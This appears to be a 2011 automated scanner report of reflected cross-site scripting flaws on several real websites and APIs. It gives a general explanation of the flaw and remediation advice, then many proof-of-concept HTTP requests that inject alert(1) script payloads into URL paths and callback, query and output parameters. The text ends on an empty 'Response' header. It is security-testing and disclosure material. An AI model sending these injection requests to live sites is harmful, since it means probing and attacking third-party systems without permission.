Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 2366a<script>alert(1)</script>13399e87ece was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /track2366a<script>alert(1)</script>13399e87ece/?data=eyJldmVudCI6ICJtcF9wYWdlX3ZpZXciLCJwcm9wZXJ0aWVzIjogeyJtcF9yZWZlcnJlciI6ICJodHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3NvdXJjZWlkPWNocm9tZSZpZT1VVEYtOCZxPUltcGVybWl1bSIsIm1wX2Jyb3dzZXIiOiAiQ2hyb21lIiwibXBfcGxhdGZvcm0iOiAiV2luZG93cyIsIm1wX3BhZ2UiOiAiaHR0cDovL3d3dy5pbXBlcm1pdW0uY29tLyIsInRva2VuIjogIjExMGZlMjhhNGQyZDEwOGMxY2EzYTRkYWY2MDY5MTY0IiwidGltZSI6IDEzMTUwNTAwMzIsIm1wX2tleXdvcmQiOiAiSW1wZXJtaXVtIn19&ip=1&callback=mpq.metrics.jsonp_callback&_=1315050032703 HTTP/1.1 Host: api.mixpanel.com Proxy-Connection: keep-alive Referer: http://www.impermium.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.65 Date: Sat, 03 Sep 2011 11:40:00 GMT Connection: close Cache-Control: no-cache, no-store Content-Length: 58
/track2366a<script>alert(1)</script>13399e87ece/ Not Found
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload ac666<script>alert(1)</script>b431395c6 was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /track/?data=eyJldmVudCI6ICJtcF9wYWdlX3ZpZXciLCJwcm9wZXJ0aWVzIjogeyJtcF9yZWZlcnJlciI6ICJodHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3NvdXJjZWlkPWNocm9tZSZpZT1VVEYtOCZxPUltcGVybWl1bSIsIm1wX2Jyb3dzZXIiOiAiQ2hyb21lIiwibXBfcGxhdGZvcm0iOiAiV2luZG93cyIsIm1wX3BhZ2UiOiAiaHR0cDovL3d3dy5pbXBlcm1pdW0uY29tLyIsInRva2VuIjogIjExMGZlMjhhNGQyZDEwOGMxY2EzYTRkYWY2MDY5MTY0IiwidGltZSI6IDEzMTUwNTAwMzIsIm1wX2tleXdvcmQiOiAiSW1wZXJtaXVtIn19&ip=1&callback=mpq.metrics.jsonp_callbackac666<script>alert(1)</script>b431395c6&_=1315050032703 HTTP/1.1 Host: api.mixpanel.com Proxy-Connection: keep-alive Referer: http://www.impermium.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 1 is copied into a JavaScript inline comment. The payload f3e99*/alert(1)//8b8b55a3157 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /imgf3e99*/alert(1)//8b8b55a3157/2010/04/25/alg_bret_michaels.jpg HTTP/1.1 Host: assets.nydailynews.com Proxy-Connection: keep-alive Referer: http://entitycube.research.microsoft.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Sat, 03 Sep 2011 02:36:48 GMT Server: Apache Content-Type: text/html Content-Language: en Content-Length: 69211 Connection: keep-alive
The value of REST URL parameter 2 is copied into a JavaScript inline comment. The payload 98189*/alert(1)//16e689633b9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /img/201098189*/alert(1)//16e689633b9/04/25/alg_bret_michaels.jpg HTTP/1.1 Host: assets.nydailynews.com Proxy-Connection: keep-alive Referer: http://entitycube.research.microsoft.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Sat, 03 Sep 2011 02:36:54 GMT Server: Apache Content-Type: text/html Content-Language: en Content-Length: 69211 Connection: keep-alive
The value of REST URL parameter 3 is copied into a JavaScript inline comment. The payload 9d1fe*/alert(1)//5744f977b46 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /img/2010/049d1fe*/alert(1)//5744f977b46/25/alg_bret_michaels.jpg HTTP/1.1 Host: assets.nydailynews.com Proxy-Connection: keep-alive Referer: http://entitycube.research.microsoft.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Sat, 03 Sep 2011 02:36:58 GMT Server: Apache Content-Type: text/html Content-Language: en Content-Length: 69211 Connection: keep-alive
The value of REST URL parameter 4 is copied into a JavaScript inline comment. The payload 5550a*/alert(1)//4d2bca62fc4 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /img/2010/04/255550a*/alert(1)//4d2bca62fc4/alg_bret_michaels.jpg HTTP/1.1 Host: assets.nydailynews.com Proxy-Connection: keep-alive Referer: http://entitycube.research.microsoft.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Sat, 03 Sep 2011 02:37:04 GMT Server: Apache Content-Type: text/html Content-Language: en Content-Length: 69211 Connection: keep-alive
The value of REST URL parameter 5 is copied into a JavaScript inline comment. The payload b1f7e*/alert(1)//25bf4a4c61d was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /img/2010/04/25/alg_bret_michaels.jpgb1f7e*/alert(1)//25bf4a4c61d HTTP/1.1 Host: assets.nydailynews.com Proxy-Connection: keep-alive Referer: http://entitycube.research.microsoft.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Sat, 03 Sep 2011 02:37:10 GMT Server: Apache Content-Type: text/html Content-Language: en Content-Length: 69211 Connection: keep-alive
The value of the &callback request parameter is copied into the HTML document as plain text between tags. The payload 6103f<script>alert(1)</script>f7875e9a7ec was submitted in the &callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /api/v1.1/public/comments/ncomments/Mjg2NTM0LDE3NnwyODY1MzQsMzYzfDI4NjUzNCw0MDd8Mjg2NTM0LDQyOHwyODY1MzQsNzk=.json?&callback=LFCommentCount15836103f<script>alert(1)</script>f7875e9a7ec HTTP/1.1 Host: bootstrap.livefyre.com Proxy-Connection: keep-alive Referer: http://blog.impermium.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 3237e<script>alert(1)</script>af2fd799f23 was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /v1/indexes/shopobot/autocomplete?callback=jsonp13150508890663237e<script>alert(1)</script>af2fd799f23&query=xs HTTP/1.1 Host: dd9gj.api.indextank.com Proxy-Connection: keep-alive Referer: http://www.shopobot.com/electronics/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the query request parameter is copied into the HTML document as plain text between tags. The payload c5d8c<script>alert(1)</script>d16c956e170 was submitted in the query parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /v1/indexes/shopobot/autocomplete?callback=jsonp1315050889066&query=xsc5d8c<script>alert(1)</script>d16c956e170 HTTP/1.1 Host: dd9gj.api.indextank.com Proxy-Connection: keep-alive Referer: http://www.shopobot.com/electronics/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 5dc9c<script>alert(1)</script>25ad37d60aa was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 2a549<script>alert(1)</script>4af5939f6dd was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 46fa1<script>alert(1)</script>26197169324 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload a5415<script>alert(1)</script>7fe43124594 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload e8926<script>alert(1)</script>3f857902629 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /imge8926<script>alert(1)</script>3f857902629/photos/2010/12/23/smhpoinsettia312099x0021_t60.jpg?2216674c7a7e03e948d3638cefe714e330b4e5db HTTP/1.1 Host: media.signonsandiego.com Proxy-Connection: keep-alive Referer: http://m.signonsandiego.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload a14f8<script>alert(1)</script>156a41c8a8a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /img/photosa14f8<script>alert(1)</script>156a41c8a8a/2010/12/23/smhpoinsettia312099x0021_t60.jpg?2216674c7a7e03e948d3638cefe714e330b4e5db HTTP/1.1 Host: media.signonsandiego.com Proxy-Connection: keep-alive Referer: http://m.signonsandiego.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload c31a7<script>alert(1)</script>d9bfec68134 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /img/photos/2010c31a7<script>alert(1)</script>d9bfec68134/12/23/smhpoinsettia312099x0021_t60.jpg?2216674c7a7e03e948d3638cefe714e330b4e5db HTTP/1.1 Host: media.signonsandiego.com Proxy-Connection: keep-alive Referer: http://m.signonsandiego.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 9d3a2<script>alert(1)</script>424349a352d was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /img/photos/2010/129d3a2<script>alert(1)</script>424349a352d/23/smhpoinsettia312099x0021_t60.jpg?2216674c7a7e03e948d3638cefe714e330b4e5db HTTP/1.1 Host: media.signonsandiego.com Proxy-Connection: keep-alive Referer: http://m.signonsandiego.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 5 is copied into the HTML document as plain text between tags. The payload db2c2<script>alert(1)</script>1edf602747d was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /img/photos/2010/12/23db2c2<script>alert(1)</script>1edf602747d/smhpoinsettia312099x0021_t60.jpg?2216674c7a7e03e948d3638cefe714e330b4e5db HTTP/1.1 Host: media.signonsandiego.com Proxy-Connection: keep-alive Referer: http://m.signonsandiego.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 6 is copied into the HTML document as plain text between tags. The payload 5a485<script>alert(1)</script>831d83951fe was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /img/photos/2010/12/23/smhpoinsettia312099x0021_t60.jpg5a485<script>alert(1)</script>831d83951fe?2216674c7a7e03e948d3638cefe714e330b4e5db HTTP/1.1 Host: media.signonsandiego.com Proxy-Connection: keep-alive Referer: http://m.signonsandiego.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload adcab<script>alert(1)</script>01299e5fe22 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /imgadcab<script>alert(1)</script>01299e5fe22/photos/2011/09/02/UTI1608430_r295x175.jpg?cb3bf3bde2a7ab376129cb5acc3937c1d0d6a8a1 HTTP/1.1 Host: media.signonsandiego.com Proxy-Connection: keep-alive Referer: http://m.signonsandiego.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 59a14<script>alert(1)</script>bfd7fe87212 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /img/photos59a14<script>alert(1)</script>bfd7fe87212/2011/09/02/UTI1608430_r295x175.jpg?cb3bf3bde2a7ab376129cb5acc3937c1d0d6a8a1 HTTP/1.1 Host: media.signonsandiego.com Proxy-Connection: keep-alive Referer: http://m.signonsandiego.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload b10ab<script>alert(1)</script>22fadacf176 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /img/photos/2011b10ab<script>alert(1)</script>22fadacf176/09/02/UTI1608430_r295x175.jpg?cb3bf3bde2a7ab376129cb5acc3937c1d0d6a8a1 HTTP/1.1 Host: media.signonsandiego.com Proxy-Connection: keep-alive Referer: http://m.signonsandiego.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 8e587<script>alert(1)</script>776aa15be02 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /img/photos/2011/098e587<script>alert(1)</script>776aa15be02/02/UTI1608430_r295x175.jpg?cb3bf3bde2a7ab376129cb5acc3937c1d0d6a8a1 HTTP/1.1 Host: media.signonsandiego.com Proxy-Connection: keep-alive Referer: http://m.signonsandiego.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 5 is copied into the HTML document as plain text between tags. The payload ae760<script>alert(1)</script>1321fae8e was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /img/photos/2011/09/02ae760<script>alert(1)</script>1321fae8e/UTI1608430_r295x175.jpg?cb3bf3bde2a7ab376129cb5acc3937c1d0d6a8a1 HTTP/1.1 Host: media.signonsandiego.com Proxy-Connection: keep-alive Referer: http://m.signonsandiego.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 6 is copied into the HTML document as plain text between tags. The payload ff204<script>alert(1)</script>97039c39ae was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /img/photos/2011/09/02/UTI1608430_r295x175.jpgff204<script>alert(1)</script>97039c39ae?cb3bf3bde2a7ab376129cb5acc3937c1d0d6a8a1 HTTP/1.1 Host: media.signonsandiego.com Proxy-Connection: keep-alive Referer: http://m.signonsandiego.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the callback request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 63970%3balert(1)//d5d4dedd591 was submitted in the callback parameter. This input was echoed as 63970;alert(1)//d5d4dedd591 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /minimall?w=250&h=300&client=domaintools&noctxt=4&sid=Domaintools%20250x300&cid=Domaintools%20250x300&query=Ku6.cn%20-%20Ku%206&type=mpu&searchref=1&vertical=premium&screenres=1920x1200&winsize=1077x1051&canvas=1053x144&frm=true&history=1&impsrc=amm1.0&url=http%3A//whois.domaintools.com/ku6.cn&ref=http%3A//www.fakereferrerdominator.com/referrerPathName%3FRefParName%3DRefValue&cb=989&required_text=overture&loc=752%2C1056&output=simplejs&callback=ch_ad_render_search63970%3balert(1)//d5d4dedd591 HTTP/1.1 Host: mm.chitika.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://whois.domaintools.com/ku6.cn
Response
HTTP/1.1 200 OK Date: Sat, 03 Sep 2011 03:41:38 GMT Server: Apache P3P: policyref="http://scripts.chitika.net/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: _cc=; path=/; domain=.chitika.net; expires=Sat Sep 3 03:41:38 2011 GMT Set-Cookie: _cc=G/TcoYYFygB9c9AjAS26jknbh0NqE2sI5FE36gO8EDLYgts099yYuAwDkhn6TgTM2JNgQh9sT2oAeQ/3SaB1fwM7R/r7rbF7Xw3l8hl0khjekDpXpxxNowLSP9nBnDmw3dKTIAesvi1jYzZx1XTnYybgqdUlSaBjwiBd1hH5ISGGq7Z9wUzcJd6xTUu1L4GSEEKAZlPK1fBvPWzVxCxcuNOLE5WIFZZ/bV4WnSph2Y+kzgETzGAi87Dd1n0ejdmDEsMWSXitIZTdBgdfg/mKBDjNywKl5tFs7qZyZNCtNKezhP3U/KKvjXPsw/e30C3thVvUXymKCQfK7Lia953GP1iDUe/XmuKnjVSnHQui5caC0m2As4Npmx/xMfBrRgBSb/C+bC6K6Qks21Gc5A9HbrRU/3a6YOsrgB70TbFJxFmX2KuqYYJDQxdiS6VSMZvDZbnM70gKm03CdI0G7UFe7iAKD6ePbSu5duJh2SFzXXcqx+f0/ZQcOSMzCMhcCCNdAi/r5kvkRRYXOx5yCJNNoNlZFJylS0qOtE5idesxi5p+HOr0HKoNZHHdeqPnl5lo7bt+Qw==.HaLqvTf+cWm6ctsw5IxZIg.4; path=/; domain=.mm.chitika.net; expires=Sun Sep 2 03:41:38 2012 GMT Vary: Accept-Encoding Content-Length: 26256 Connection: close Content-Type: text/javascript; charset=utf-8
var ch_mmhtml = {"pixelhtml":"","osnap":0,"snurl":"","js":"","hover":null,"output":"<!DOCTYPE html PUBLIC\"-// W3C//DTD XHTML 1.0 Transitional//EN\"\" http://www.w3.org/TR/xhtml1/DTD/xhtml1-transition ...[SNIP]... <!--overture-->","cb":"989"};ch_ad_render_search63970;alert(1)//d5d4dedd591();
The value of the output request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 52cd6"><script>alert(1)</script>df330e3cbe0 was submitted in the output parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /minimall?w=250&h=300&client=domaintools&noctxt=4&sid=Domaintools%20250x300&cid=Domaintools%20250x300&query=Ku6.cn%20-%20Ku%206&type=mpu&searchref=1&vertical=premium&screenres=1920x1200&winsize=1077x1051&canvas=1053x144&frm=true&history=1&impsrc=amm1.0&url=http%3A//whois.domaintools.com/ku6.cn&ref=http%3A//www.fakereferrerdominator.com/referrerPathName%3FRefParName%3DRefValue&cb=989&required_text=overture&loc=752%2C1056&output=simplejs52cd6"><script>alert(1)</script>df330e3cbe0&callback=ch_ad_render_search HTTP/1.1 Host: mm.chitika.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://whois.domaintools.com/ku6.cn
Response
